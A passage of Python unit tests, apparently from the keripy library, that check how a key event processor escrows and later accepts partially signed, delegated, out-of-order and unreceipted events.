kvy.db.getPses(dbing.snKey(pre, int(srdr.ked["s"], 16))) assert len(escrows) == 1 assert escrows[0] == srdr.digb # escrow entry for event # add another sig msg = bytearray(srdr.raw) counter = coring.Counter(code=coring.CtrDex.ControllerIdxSigs) msg.extend(counter.qb64b) msg.extend(sigers[0].qb64b) # apply msg to Kevery to process psr.parse(ims=bytearray(msg), kvy=kvy) # kvy.process(ims=bytearray(msg)) # process local copy of msg assert kvr.sn == 0 # key state not updated escrows = kvy.db.getPses(dbing.snKey(pre, int(srdr.ked["s"], 16))) assert len(escrows) == 1 assert escrows[0] == srdr.digb # escrow entry for event sigs = kvy.db.getSigs(dbing.dgKey(pre, srdr.dig)) # but sigs is more assert len(sigs) == 2 # Process partials but stale escrow despite two sigs set Timeout to 0 kvy.TimeoutPSE = 0 # forces all escrows to be stale time.sleep(0.001) kvy.processEscrowPartialSigs() assert kvr.sn == 0 # key state not updated # escrows now empty escrows = kvy.db.getPses(dbing.snKey(pre, int(srdr.ked["s"], 16))) assert len(escrows) == 0 # Now reset timeout so not zero kvy.TimeoutPSE = 3600 # resend events to load escrow msg = bytearray(srdr.raw) counter = coring.Counter(code=coring.CtrDex.ControllerIdxSigs) msg.extend(counter.qb64b) msg.extend(sigers[1].qb64b) # apply msg to Kevery to process psr.parse(ims=bytearray(msg), kvy=kvy) # kvy.process(ims=bytearray(msg)) # process local copy of msg assert kvr.sn == 0 # key state not updated escrows = kvy.db.getPses(dbing.snKey(pre, int(srdr.ked["s"], 16))) assert len(escrows) == 1 assert escrows[0] == srdr.digb # escrow entry for event # add another sig msg = bytearray(srdr.raw) counter = coring.Counter(code=coring.CtrDex.ControllerIdxSigs) msg.extend(counter.qb64b) msg.extend(sigers[0].qb64b) # apply msg to Kevery to process psr.parse(ims=bytearray(msg), kvy=kvy) # kvy.process(ims=bytearray(msg)) # process local copy of msg assert kvr.sn == 0 # key state not updated escrows = kvy.db.getPses(dbing.snKey(pre, int(srdr.ked["s"], 16))) assert len(escrows) == 1 assert escrows[0] == srdr.digb # escrow entry for event # get DTS set by escrow date time stamp on event edtsb = bytes(kvy.db.getDts(dbing.dgKey(pre, srdr.digb))) # Process partials but now escrow not stale kvy.processEscrowPartialSigs() assert kvr.serder.dig == srdr.dig # key state updated so event was validated assert kvr.sn == 1 # key state successfully updated escrows = kvy.db.getPses(dbing.snKey(pre, int(srdr.ked["s"], 16))) assert len(escrows) == 0 # escrow gone # get DTS set by first seen event acceptance date time stamp adtsb = bytes(kvy.db.getDts(dbing.dgKey(pre, srdr.digb))) # ensure accept time is later than escrow time, default timedelta is zero assert (helping.fromIso8601(adtsb) - helping.fromIso8601(edtsb)) > datetime.timedelta() # send duplicate message but add last sig msg = bytearray(srdr.raw) counter = coring.Counter(code=coring.CtrDex.ControllerIdxSigs) msg.extend(counter.qb64b) msg.extend(sigers[2].qb64b) psr.parse(ims=bytearray(msg), kvy=kvy) # kvy.process(ims=bytearray(msg)) # process local copy of msg sigs = kvy.db.getSigs(dbing.dgKey(pre, srdr.dig)) # but sigs is more assert len(sigs) == 3 escrows = kvy.db.getPses(dbing.snKey(pre, int(srdr.ked["s"], 16))) assert len(escrows) == 0 # escrow stays gone # get DTS after partial last sig should not change dts from first accepted pdtsb = bytes(kvy.db.getDts(dbing.dgKey(pre, srdr.digb))) assert pdtsb == adtsb # get first seen fsdig = kvy.db.getFe(dbing.fnKey(pre, 1)) assert fsdig == srdr.digb # Create rotation event # get current keys as verfers and next digests as digers sith = nxtsith # rotate so nxtsith is now current sith and need new nextsith # 2 of first 3 and 1 of last 2 nxtsith = [["1/2", "1/2", "1/2"],["1/1", "1/1"]] verfers, digers, cst, nst = mgr.rotate(pre=pre, count=5, sith=nxtsith, temp=True) assert nst == nxtsith srdr = eventing.rotate(pre=kvr.prefixer.qb64, keys=[verfer.qb64 for verfer in verfers], sith=sith, dig=kvr.serder.diger.qb64, nxt=coring.Nexter(sith=nxtsith, digs=[diger.qb64 for diger in digers]).qb64, sn=kvr.sn+1, data=[]) sigers = mgr.sign(ser=srdr.raw, verfers=verfers) msg = bytearray(srdr.raw) counter = coring.Counter(code=coring.CtrDex.ControllerIdxSigs, count=len(sigers)) msg.extend(counter.qb64b) for siger in sigers: msg.extend(siger.qb64b) # apply msg to Kevery psr.parse(ims=bytearray(msg), kvy=kvy) # kvy.process(ims=bytearray(msg)) # process local copy of msg assert kvr.serder.dig == srdr.dig # key state updated so event was validated # Create rotation event # get current keys as verfers and next digests as digers sith = nxtsith # rotate so nxtsith is now current sith and need new nextsith # 2 of first 3 and 1 of last 2 nxtsith = [["1/2", "1/2", "1/2"],["1/1", "1/1"]] verfers, digers, cst, nst = mgr.rotate(pre=pre, count=5, sith=nxtsith, temp=True) assert cst == nst == nxtsith srdr = eventing.rotate(pre=kvr.prefixer.qb64, keys=[verfer.qb64 for verfer in verfers], sith=sith, dig=kvr.serder.diger.qb64, nxt=coring.Nexter(sith=nxtsith, digs=[diger.qb64 for diger in digers]).qb64, sn=kvr.sn+1, data=[]) sigers = mgr.sign(ser=srdr.raw, verfers=verfers) msg = bytearray(srdr.raw) counter = coring.Counter(code=coring.CtrDex.ControllerIdxSigs, count=2) msg.extend(counter.qb64b) msg.extend(sigers[0].qb64b) msg.extend(sigers[3].qb64b) # apply msg to Kevery psr.parse(ims=bytearray(msg), kvy=kvy) # kvy.process(ims=bytearray(msg)) # process local copy of msg assert kvr.serder.diger.qb64 != srdr.dig # key state not updated # process escrow kvy.processEscrowPartialSigs() assert kvr.serder.diger.qb64 != srdr.dig # key state not updated msg = bytearray(srdr.raw) counter = coring.Counter(code=coring.CtrDex.ControllerIdxSigs) msg.extend(counter.qb64b) msg.extend(sigers[1].qb64b) # apply msg to Kevery psr.parse(ims=bytearray(msg), kvy=kvy) # kvy.process(ims=bytearray(msg)) # process local copy of msg assert kvr.serder.diger.qb64 != srdr.dig # key state not updated # get DTS set by escrow date time stamp on event edtsb = bytes(kvy.db.getDts(dbing.dgKey(pre, srdr.digb))) # process escrow kvy.processEscrowPartialSigs() assert kvr.serder.diger.qb64 == srdr.dig # key state updated # get DTS set by first seen event acceptance date time stamp adtsb = bytes(kvy.db.getDts(dbing.dgKey(pre, srdr.digb))) # ensure accept time is later than escrow time, default timedelta is zero assert (helping.fromIso8601(adtsb) - helping.fromIso8601(edtsb)) > datetime.timedelta() # get first seen fsdig = kvy.db.getFe(dbing.fnKey(pre, 3)) assert fsdig == srdr.digb assert not os.path.exists(ks.path) assert not os.path.exists(db.path) """End Test""" def test_missing_delegator_escrow(): """ Test missing delegator escrow """ # bob is the delegator del is bob's delegate bobSalt = coring.Salter(raw=b'0123456789abcdef').qb64 delSalt = coring.Salter(raw=b'abcdef0123456789').qb64 psr = parsing.Parser() with basing.openDB(name="bob") as bobDB, \ keeping.openKS(name="bob") as bobKS, \ basing.openDB(name="del") as delDB, \ keeping.openKS(name="del") as delKS: # Init key pair managers bobMgr = keeping.Manager(keeper=bobKS, salt=bobSalt) delMgr = keeping.Manager(keeper=delKS, salt=delSalt) # Init Keverys bobKvy = eventing.Kevery(db=bobDB) delKvy = eventing.Kevery(db=delDB) # Setup Bob by creating inception event verfers, digers, cst, nst = bobMgr.incept(stem='bob', temp=True) # algo default salty and rooted bobSrdr = eventing.incept(keys=[verfer.qb64 for verfer in verfers], nxt=coring.Nexter(digs=[diger.qb64 for diger in digers]).qb64, code=coring.MtrDex.Blake3_256) bobPre = bobSrdr.ked["i"] bobMgr.move(old=verfers[0].qb64, new=bobPre) # move key pair label to prefix sigers = bobMgr.sign(ser=bobSrdr.raw, verfers=verfers) msg = bytearray(bobSrdr.raw) counter = coring.Counter(code=coring.CtrDex.ControllerIdxSigs, count=len(sigers)) msg.extend(counter.qb64b) for siger in sigers: msg.extend(siger.qb64b) bobIcpMsg = msg # save for later # apply msg to bob's Kevery psr.parse(ims=bytearray(msg), kvy=bobKvy) # bobKvy.process(ims=bytearray(msg)) # process local copy of msg bobK = bobKvy.kevers[bobPre] assert bobK.prefixer.qb64 == bobPre assert bobK.serder.diger.qb64 == bobSrdr.dig # Setup Del's inception event assuming that Bob's next event will be an ixn delegating event verfers, digers, cst, nst = delMgr.incept(stem='del', temp=True) # algo default salty and rooted seal = eventing.SealLocation(i=bobK.prefixer.qb64, s="{:x}".format(bobK.sn+1), t=coring.Ilks.ixn, p=bobK.serder.diger.qb64) delSrdr = eventing.delcept(keys=[verfer.qb64 for verfer in verfers], delpre=bobPre, nxt=coring.Nexter(digs=[diger.qb64 for diger in digers]).qb64) delPre = delSrdr.ked["i"] delMgr.move(old=verfers[0].qb64, new=delPre) # move key pair label to prefix # Now create delegating event seal = eventing.SealEvent(i=delPre, s=delSrdr.ked["s"], d=delSrdr.dig) bobSrdr = eventing.interact(pre=bobK.prefixer.qb64, dig=bobK.serder.diger.qb64, sn=bobK.sn+1, data=[seal._asdict()]) sigers = bobMgr.sign(ser=bobSrdr.raw, verfers=bobK.verfers) msg = bytearray(bobSrdr.raw) counter = coring.Counter(code=coring.CtrDex.ControllerIdxSigs, count=len(sigers)) msg.extend(counter.qb64b) for siger in sigers: msg.extend(siger.qb64b) bobIxnMsg = msg # apply msg to bob's Kevery psr.parse(ims=bytearray(msg), kvy=bobKvy) # bobKvy.process(ims=bytearray(msg)) # process local copy of msg assert bobK.serder.dig == bobSrdr.dig # key state updated so event was validated # now create msg with Del's delegated inception event sigers = delMgr.sign(ser=delSrdr.raw, verfers=verfers) msg = bytearray(delSrdr.raw) counter = coring.Counter(code=coring.CtrDex.ControllerIdxSigs, count=len(sigers)) msg.extend(counter.qb64b) for siger in sigers: msg.extend(siger.qb64b) counter = coring.Counter(code=coring.CtrDex.SealSourceCouples, count=1) msg.extend(counter.qb64b) seqner = coring.Seqner(sn=bobK.sn) msg.extend(seqner.qb64b) msg.extend(bobSrdr.digb) # apply Del's delegated inception event message to bob's Kevery psr.parse(ims=bytearray(msg), kvy=bobKvy) # bobKvy.process(ims=bytearray(msg)) # process local copy of msg assert delPre in bobKvy.kevers # successfully validated bobDelK = bobKvy.kevers[delPre] # delK in bobs kevery assert bobDelK.delegated assert bobDelK.serder.diger.qb64 == delSrdr.dig # key state updated so event was validated couple = bobKvy.db.getAes(dbing.dgKey(delPre, delSrdr.dig)) assert couple == seqner.qb64b + bobSrdr.digb # apply Del's inception msg to Del's Kevery # Dels event will fail but will add to its escrow psr.parse(ims=bytearray(msg), kvy=delKvy) # delKvy.process(ims=bytearray(msg)) # process remote copy of msg assert delPre not in delKvy.kevers assert bobPre not in delKvy.kevers escrows = delKvy.db.getPses(dbing.snKey(delPre, int(delSrdr.ked["s"], 16))) assert len(escrows) == 1 assert escrows[0] == delSrdr.digb # escrow entry for event escrow = delKvy.db.getPde(dbing.dgKey(delPre, delSrdr.dig)) assert escrow == seqner.qb64b + bobSrdr.digb # escrow entry for event # verify Kevery process partials escrow is idempotent to previously escrowed events # assuming not stale but nothing else has changed delKvy.processEscrowPartialSigs() assert delPre not in delKvy.kevers assert bobPre not in delKvy.kevers escrows = delKvy.db.getPses(dbing.snKey(delPre, int(delSrdr.ked["s"], 16))) assert len(escrows) == 1 assert escrows[0] == delSrdr.digb # escrow entry for event escrow = delKvy.db.getPde(dbing.dgKey(delPre, delSrdr.dig)) assert escrow == seqner.qb64b + bobSrdr.digb # escrow entry for event # apply Bob's inception to Dels' Kvy psr.parse(ims=bytearray(bobIcpMsg), kvy=delKvy) # delKvy.process(ims=bytearray(bobIcpMsg)) # process remote copy of msg assert bobPre in delKvy.kevers # message accepted delKvy.processEscrowPartialSigs() # process escrow assert delPre not in delKvy.kevers escrows = delKvy.db.getPses(dbing.snKey(delPre, int(delSrdr.ked["s"], 16))) assert len(escrows) == 1 assert escrows[0] == delSrdr.digb # escrow entry for event escrow = delKvy.db.getPde(dbing.dgKey(delPre, delSrdr.dig)) assert escrow == seqner.qb64b + bobSrdr.digb # escrow entry for event # apply Bob's delegating interaction to Dels' Kvy psr.parse(ims=bytearray(bobIxnMsg), kvy=delKvy) # delKvy.process(ims=bytearray(bobIxnMsg)) # process remote copy of msg delKvy.processEscrowPartialSigs() # process escrows assert delPre in delKvy.kevers # event removed from escrow delK = delKvy.kevers[delPre] assert delK.delegated assert delK.serder.diger.qb64 == delSrdr.dig couple = delKvy.db.getAes(dbing.dgKey(delPre, delSrdr.dig)) assert couple == seqner.qb64b + bobSrdr.digb escrows = delKvy.db.getPses(dbing.snKey(delPre, int(delSrdr.ked["s"], 16))) assert len(escrows) == 0 escrow = delKvy.db.getPde(dbing.dgKey(delPre, delSrdr.dig)) assert escrow is None # Setup Del rotation event verfers, digers, cst, nst = delMgr.rotate(pre=delPre, temp=True) delSrdr = eventing.deltate(pre=bobDelK.prefixer.qb64, keys=[verfer.qb64 for verfer in verfers], dig=bobDelK.serder.diger.qb64, sn=bobDelK.sn+1, nxt=coring.Nexter(digs=[diger.qb64 for diger in digers]).qb64) # Now create delegating interaction event seal = eventing.SealEvent(i=bobDelK.prefixer.qb64, s=delSrdr.ked["s"], d=delSrdr.dig) bobSrdr = eventing.interact(pre=bobK.prefixer.qb64, dig=bobK.serder.diger.qb64, sn=bobK.sn+1, data=[seal._asdict()]) sigers = bobMgr.sign(ser=bobSrdr.raw, verfers=bobK.verfers) msg = bytearray(bobSrdr.raw) counter = coring.Counter(code=coring.CtrDex.ControllerIdxSigs, count=len(sigers)) msg.extend(counter.qb64b) for siger in sigers: msg.extend(siger.qb64b) # apply msg to bob's Kevery psr.parse(ims=bytearray(msg), kvy=bobKvy) # bobKvy.process(ims=bytearray(msg)) # process local copy of msg assert bobK.serder.diger.qb64 == bobSrdr.dig # key state updated so event was validated # apply msg to del's Kevery psr.parse(ims=bytearray(msg), kvy=delKvy) # delKvy.process(ims=bytearray(msg)) # process remote copy of msg assert delKvy.kevers[bobPre].serder.diger.qb64 == bobSrdr.dig # now create msg from Del's delegated rotation event sigers = delMgr.sign(ser=delSrdr.raw, verfers=verfers) msg = bytearray(delSrdr.raw) counter = coring.Counter(code=coring.CtrDex.ControllerIdxSigs, count=len(sigers)) msg.extend(counter.qb64b) for siger in sigers: msg.extend(siger.qb64b) counter = coring.Counter(code=coring.CtrDex.SealSourceCouples, count=1) msg.extend(counter.qb64b) seqner = coring.Seqner(sn=bobK.sn) msg.extend(seqner.qb64b) msg.extend(bobSrdr.digb) # apply Del's delegated Rotation event message to del's Kevery psr.parse(ims=bytearray(msg), kvy=delKvy) # delKvy.process(ims=bytearray(msg)) # process remote copy of msg assert delK.delegated assert delK.serder.diger.qb64 == delSrdr.dig couple = delKvy.db.getAes(dbing.dgKey(delPre, delSrdr.dig)) assert couple == seqner.qb64b + bobSrdr.digb # apply Del's delegated Rotation event message to bob's Kevery psr.parse(ims=bytearray(msg), kvy=bobKvy) # bobKvy.process(ims=bytearray(msg)) # process local copy of msg assert bobDelK.delegated assert bobDelK.serder.diger.qb64 == delSrdr.dig # key state updated so event was validated couple = bobKvy.db.getAes(dbing.dgKey(delPre, delSrdr.dig)) assert couple == seqner.qb64b + bobSrdr.digb assert not os.path.exists(delKS.path) assert not os.path.exists(delDB.path) assert not os.path.exists(bobKS.path) assert not os.path.exists(bobDB.path) """End Test""" def test_out_of_order_escrow(): """ Test out of order escrow """ salt = coring.Salter(raw=b'0123456789abcdef').qb64 # init wes Salter psr = parsing.Parser() # init event DB and keep DB with basing.openDB(name="edy") as db, keeping.openKS(name="edy") as ks: # Init key pair manager mgr = keeping.Manager(keeper=ks, salt=salt) # Init Kevery with event DB kvy = eventing.Kevery(db=db) # create inception event with 3 keys each in incept and next sets # defaults are algo salty and rooted sith = ["1/2", "1/2", "1/2"] # 2 of 3 but with weighted threshold nxtsith = ["1/2", "1/2", "1/2"] verfers, digers, cst, nst = mgr.incept(icount=3, isith=sith, ncount=3, nsith=nxtsith, stem='wes', temp=True) assert cst == nst == sith srdr = eventing.incept(keys=[verfer.qb64 for verfer in verfers], sith=sith, nxt=coring.Nexter(sith=nxtsith, digs=[diger.qb64 for diger in digers]).qb64, code=coring.MtrDex.Blake3_256) pre = srdr.ked["i"] icpdig = srdr.dig mgr.move(old=verfers[0].qb64, new=pre) # move key pair label to prefix sigers = mgr.sign(ser=srdr.raw, verfers=verfers) msg = bytearray(srdr.raw) counter = coring.Counter(code=coring.CtrDex.ControllerIdxSigs, count=len(sigers)) msg.extend(counter.qb64b) for siger in sigers: msg.extend(siger.qb64b) icpmsg = bytearray(msg) # save copy for later # create interaction event srdr = eventing.interact(pre=pre, dig=icpdig, sn=1, data=[]) ixndig = srdr.dig sigers = mgr.sign(ser=srdr.raw, verfers=verfers) msg = bytearray(srdr.raw) counter = coring.Counter(code=coring.CtrDex.ControllerIdxSigs, count=len(sigers)) msg.extend(counter.qb64b) for siger in sigers: msg.extend(siger.qb64b) ixnmsg = bytearray(msg) # save copy for later # Create rotation event # get current keys as verfers and next digests as digers sith = nxtsith # rotate so nxtsith is now current sith and need new nextsith # 2 of first 3 and 1 of last 2 nxtsith = [["1/2", "1/2", "1/2"],["1/1", "1/1"]] verfers, digers, cst, nst = mgr.rotate(pre=pre, count=5, sith=nxtsith, temp=True) assert cst == sith assert nst == nxtsith srdr = eventing.rotate(pre=pre, keys=[verfer.qb64 for verfer in verfers], sith=sith, dig=ixndig, nxt=coring.Nexter(sith=nxtsith, digs=[diger.qb64 for diger in digers]).qb64, sn=2, data=[]) rotdig = srdr.dig sigers = mgr.sign(ser=srdr.raw, verfers=verfers) msg = bytearray(srdr.raw) counter = coring.Counter(code=coring.CtrDex.ControllerIdxSigs, count=len(sigers)) msg.extend(counter.qb64b) for siger in sigers: msg.extend(siger.qb64b) rotmsg = bytearray(msg) # save copy for later # apply rotation msg to Kevery to process psr.parse(ims=bytearray(rotmsg), kvy=kvy) # kvy.process(ims=bytearray(rotmsg)) # process local copy of msg assert pre not in kvy.kevers # event not accepted escrows = kvy.db.getOoes(dbing.snKey(pre, 2)) assert len(escrows) == 1 assert escrows[0] == rotdig.encode("utf-8") # escrow entry for event # verify Kevery process is idempotent to previously escrowed events psr.parse(ims=bytearray(rotmsg), kvy=kvy) # kvy.process(ims=bytearray(rotmsg)) # process local copy of msg assert pre not in kvy.kevers # event not accepted escrows = kvy.db.getOoes(dbing.snKey(pre, 2)) assert len(escrows) == 1 assert escrows[0] == rotdig.encode("utf-8") # escrow entry for event # verify Kevery process out of order escrow is idempotent to previously escrowed events # assuming not stale but nothing else has changed kvy.processEscrowOutOfOrders() assert pre not in kvy.kevers # event not accepted escrows = kvy.db.getOoes(dbing.snKey(pre, 2)) assert len(escrows) == 1 assert escrows[0] == rotdig.encode("utf-8") # escrow entry for event # apply ixn msg to Kevery to process psr.parse(ims=bytearray(ixnmsg), kvy=kvy) # kvy.process(ims=bytearray(ixnmsg)) # process local copy of msg assert pre not in kvy.kevers # event not accepted escrows = kvy.db.getOoes(dbing.snKey(pre, 1)) assert len(escrows) == 1 assert escrows[0] == ixndig.encode("utf-8") # escrow entry for event # verify Kevery process is idempotent to previously escrowed events psr.parse(ims=bytearray(ixnmsg), kvy=kvy) # kvy.process(ims=bytearray(ixnmsg)) # process local copy of msg assert pre not in kvy.kevers # event not accepted escrows = kvy.db.getOoes(dbing.snKey(pre, 1)) assert len(escrows) == 1 assert escrows[0] == ixndig.encode("utf-8") # escrow entry for event # verify Kevery process out of order escrow is idempotent to previously escrowed events # assuming not stale but nothing else has changed kvy.processEscrowOutOfOrders() assert pre not in kvy.kevers # event not accepted escrows = kvy.db.getOoes(dbing.snKey(pre, 1)) assert len(escrows) == 1 assert escrows[0] == ixndig.encode("utf-8") # escrow entry for event # Process partials but stale escrow set Timeout to 0 kvy.TimeoutOOE = 0 # forces all escrows to be stale time.sleep(0.001) kvy.processEscrowOutOfOrders() assert pre not in kvy.kevers # key state not updated escrows = kvy.db.getOoes(dbing.snKey(pre, 1)) assert len(escrows) == 0 # escrow gone escrows = kvy.db.getOoes(dbing.snKey(pre, 2)) assert len(escrows) == 0 # Now reset timeout so not zero and rsend events to reload escrow kvy.TimeoutOOE = 3600 # re-apply rotation msg to Kevery to process psr.parse(ims=bytearray(rotmsg), kvy=kvy) # kvy.process(ims=bytearray(rotmsg)) # process local copy of msg assert pre not in kvy.kevers # event not accepted escrows = kvy.db.getOoes(dbing.snKey(pre, 2)) assert len(escrows) == 1 assert escrows[0] == rotdig.encode("utf-8") # escrow entry for event # re-apply ixn msg to Kevery to process psr.parse(ims=bytearray(ixnmsg), kvy=kvy) # kvy.process(ims=bytearray(ixnmsg)) # process local copy of msg assert pre not in kvy.kevers # event not accepted escrows = kvy.db.getOoes(dbing.snKey(pre, 1)) assert len(escrows) == 1 assert escrows[0] == ixndig.encode("utf-8") # escrow entry for event # re-apply inception msg to Kevery to process psr.parse(ims=bytearray(icpmsg), kvy=kvy) # kvy.process(ims=bytearray(icpmsg)) # process local copy of msg assert pre in kvy.kevers # event accepted kvr = kvy.kevers[pre] assert kvr.serder.dig == icpdig # key state updated so event was validated assert kvr.sn == 0 # key state successfully updated # verify escrows not changed escrows = kvy.db.getOoes(dbing.snKey(pre, 2)) assert len(escrows) == 1 assert escrows[0] == rotdig.encode("utf-8") # escrow entry for event escrows = kvy.db.getOoes(dbing.snKey(pre, 1)) assert len(escrows) == 1 assert escrows[0] == ixndig.encode("utf-8") # escrow entry for event # Process out of order escrow # assuming not stale but nothing else has changed kvy.processEscrowOutOfOrders() assert kvr.serder.dig == rotdig # key state updated so event was validated assert kvr.sn == 2 # key state successfully updated escrows = kvy.db.getOoes(dbing.snKey(pre, 1)) assert len(escrows) == 0 # escrow gone escrows = kvy.db.getOoes(dbing.snKey(pre, 2)) assert len(escrows) == 0 assert not os.path.exists(ks.path) assert not os.path.exists(db.path) """End Test""" def test_unverified_receipt_escrow(): """ Test unverified receipt escrow """ salt = coring.Salter(raw=b'0123456789abcdef').qb64 # init Salter psr = parsing.Parser() # init event DB and keep DB with basing.openDB(name="edy") as db, keeping.openKS(name="edy") as ks: # Init key pair manager mgr = keeping.Manager(keeper=ks, salt=salt) # Init Kevery with event DB kvy = eventing.Kevery(db=db) # create witness identifiers verfers, digers, cst, nst = mgr.incept(ncount=0, stem="wit0", transferable=False, temp=True) wit0Verfer = verfers[0] wit0pre = wit0Verfer.qb64 verfers, digers, cst, nst = mgr.incept(ncount=0, stem="wit1", transferable=False, temp=True) wit1Verfer = verfers[0] wit1pre = wit1Verfer.qb64 assert wit1pre != wit0pre # create inception event with 3 keys each in incept and next sets # defaults are algo salty and rooted sith = ["1/2", "1/2", "1/2"] # 2 of 3 but with weighted threshold nxtsith = ["1/2", "1/2", "1/2"] verfers, digers, cst, nst = mgr.incept(icount=3, isith=sith, ncount=3, nsith=nxtsith, stem='edy', temp=True) assert cst == nst == sith srdr = eventing.incept(keys=[verfer.qb64 for verfer in verfers], sith=sith, nxt=coring.Nexter(sith=nxtsith, digs=[diger.qb64 for diger in digers]).qb64, code=coring.MtrDex.Blake3_256) pre = srdr.ked["i"] icpdig = srdr.dig mgr.move(old=verfers[0].qb64, new=pre) # move key pair label to prefix sigers = mgr.sign(ser=srdr.raw, verfers=verfers) msg = bytearray(srdr.raw) counter = coring.Counter(code=coring.CtrDex.ControllerIdxSigs, count=len(sigers)) msg.extend(counter.qb64b) for siger in sigers: msg.extend(siger.qb64b) icpmsg = msg # create receipt(s) of inception message reserder = eventing.receipt(pre=pre, sn=0, dig=srdr.dig) # sign event not receipt with wit0 wit0Cigar = mgr.sign(ser=srdr.raw, verfers=[wit0Verfer], indexed=False)[0] # returns Cigar unindexed wit1Cigar = mgr.sign(ser=srdr.raw, verfers=[wit1Verfer], indexed=False)[0] # returns Cigar unindexed recnt = coring.Counter(code=coring.CtrDex.NonTransReceiptCouples, count=2) msg = bytearray() msg.extend(reserder.raw) msg.extend(recnt.qb64b) msg.extend(wit0pre.encode("utf-8")) msg.extend(wit0Cigar.qb64b) msg.extend(wit1pre.encode("utf-8")) msg.extend(wit1Cigar.qb64b) rcticpmsg = msg # Process receipt by kvy psr.parse(ims=bytearray(rcticpmsg), kvy=kvy) # kvy.process(ims=bytearray(rcticpmsg)) # process local copy of msg assert pre not in kvy.kevers # no events yet for pre escrows = kvy.db.getUres(dbing.snKey(pre, 0)) # so escrowed receipts assert len(escrows) == 2 diger, prefixer, cigar = eventing.deReceiptTriple(escrows[0]) assert diger.qb64 == srdr.dig assert prefixer.qb64 == wit0pre assert cigar.qb64 == wit0Cigar.qb64 diger, prefixer, cigar = eventing.deReceiptTriple(escrows[1]) assert diger.qb64 == srdr.dig assert prefixer.qb64 == wit1pre assert cigar.qb64 == wit1Cigar.qb64 # create interaction event srdr = eventing.interact(pre=pre, dig=icpdig, sn=1, data=[]) ixndig = srdr.dig sigers = mgr.sign(ser=srdr.raw, verfers=verfers) msg = bytearray(srdr.raw) counter = coring.Counter(code=coring.CtrDex.ControllerIdxSigs, count=len(sigers)) msg.extend(counter.qb64b) for siger in sigers: msg.extend(siger.qb64b) ixnmsg = msg # create receipt(s) of interaction message reserder = eventing.receipt(pre=pre, sn=1, dig=srdr.dig) # sign event not receipt with wit0 wit0Cigar = mgr.sign(ser=srdr.raw, verfers=[wit0Verfer], indexed=False)[0] # returns Cigar unindexed wit1Cigar = mgr.sign(ser=srdr.raw, verfers=[wit1Verfer], indexed=False)[0] # returns Cigar unindexed recnt = coring.Counter(code=coring.CtrDex.NonTransReceiptCouples, count=2) msg = bytearray() msg.extend(reserder.raw) msg.extend(recnt.qb64b) msg.extend(wit0pre.encode("utf-8")) msg.extend(wit0Cigar.qb64b) msg.extend(wit1pre.encode("utf-8")) msg.extend(wit1Cigar.qb64b) rctixnmsg = msg # Process receipt by kvy psr.parse(ims=bytearray(rctixnmsg), kvy=kvy) # kvy.process(ims=bytearray(rctixnmsg)) # process local copy of msg assert pre not in kvy.kevers # no events yet for pre escrows = kvy.db.getUres(dbing.snKey(pre, 1)) # so escrowed receipts assert len(escrows) == 2 diger, prefixer, cigar = eventing.deReceiptTriple(escrows[0]) assert diger.qb64 == srdr.dig assert prefixer.qb64 == wit0pre assert cigar.qb64 == wit0Cigar.qb64 diger, prefixer, cigar = eventing.deReceiptTriple(escrows[1]) assert diger.qb64 == srdr.dig assert prefixer.qb64 == wit1pre assert cigar.qb64 == wit1Cigar.qb64 # Create rotation event # get current keys as verfers and next digests as digers verfers, digers, cst, nst = mgr.rotate(pre=pre, count=5, temp=True) sith = nxtsith # rotate so nxtsith is now current sith and need new nextsith # 2 of first 3 and 1 of last 2 nxtsith = [["1/2", "1/2", "1/2"],["1/1", "1/1"]] srdr = eventing.rotate(pre=pre, keys=[verfer.qb64 for verfer in verfers], sith=sith, dig=ixndig, nxt=coring.Nexter(sith=nxtsith, digs=[diger.qb64 for diger in digers]).qb64, sn=2, data=[]) rotdig = srdr.dig sigers = mgr.sign(ser=srdr.raw, verfers=verfers) msg = bytearray(srdr.raw) counter = coring.Counter(code=coring.CtrDex.ControllerIdxSigs, count=len(sigers)) msg.extend(counter.qb64b) for siger in sigers: msg.extend(siger.qb64b) rotmsg = msg # create receipt(s) of rotation message reserder = eventing.receipt(pre=pre, sn=2, dig=srdr.dig) # sign event not receipt with wit0 wit0Cigar = mgr.sign(ser=srdr.raw, verfers=[wit0Verfer], indexed=False)[0] # returns Cigar unindexed wit1Cigar = mgr.sign(ser=srdr.raw, verfers=[wit1Verfer], indexed=False)[0] # returns Cigar unindexed recnt = coring.Counter(code=coring.CtrDex.NonTransReceiptCouples, count=2) msg = bytearray() msg.extend(reserder.raw) msg.extend(recnt.qb64b) msg.extend(wit0pre.encode("utf-8")) msg.extend(wit0Cigar.qb64b) msg.extend(wit1pre.encode("utf-8")) msg.extend(wit1Cigar.qb64b) rctrotmsg = msg # Process receipt by kvy psr.parse(ims=bytearray(rctrotmsg), kvy=kvy) # kvy.process(ims=bytearray(rctrotmsg)) # process local copy of msg assert pre not in kvy.kevers # no events yet for pre escrows = kvy.db.getUres(dbing.snKey(pre, 2)) # so escrowed receipts assert len(escrows) == 2 diger, prefixer, cigar = eventing.deReceiptTriple(escrows[0]) assert diger.qb64 == srdr.dig assert prefixer.qb64 == wit0pre assert cigar.qb64 == wit0Cigar.qb64 diger, prefixer, cigar = eventing.deReceiptTriple(escrows[1]) assert diger.qb64 == srdr.dig assert prefixer.qb64 == wit1pre assert cigar.qb64 == wit1Cigar.qb64 # Process out of unverified but stale escrow set Timeout to 0 kvy.TimeoutURE = 0 # forces all escrows to be stale time.sleep(0.001) kvy.processEscrowUnverNonTrans() assert pre not in kvy.kevers # key state not updated # check escrows removed assert len(kvy.db.getUres(dbing.snKey(pre, 0))) == 0 assert len(kvy.db.getUres(dbing.snKey(pre, 1))) == 0 assert len(kvy.db.getUres(dbing.snKey(pre, 2))) == 0 # Now reset timeout so not zero and resend receipts to reload escrow kvy.TimeoutURE = 3600 # Process receipt by kvy psr.parse(ims=bytearray(rcticpmsg), kvy=kvy) # kvy.process(ims=bytearray(rcticpmsg)) # process local copy of msg psr.parse(ims=bytearray(rctixnmsg), kvy=kvy) # kvy.process(ims=bytearray(rctixnmsg)) # process local copy of msg psr.parse(ims=bytearray(rctrotmsg), kvy=kvy) # kvy.process(ims=bytearray(rctrotmsg)) # process local copy of msg assert pre not in kvy.kevers # no events yet for pre # assert Ure escrows are back assert len(kvy.db.getUres(dbing.snKey(pre, 0))) == 2 assert len(kvy.db.getUres(dbing.snKey(pre, 1))) == 2 assert len(kvy.db.getUres(dbing.snKey(pre, 2))) == 2 # apply inception msg to Kevery to process psr.parse(ims=bytearray(icpmsg), kvy=kvy) # kvy.process(ims=bytearray(icpmsg)) # process local copy of msg assert pre in kvy.kevers # event accepted kvr = kvy.kevers[pre] assert kvr.serder.dig == 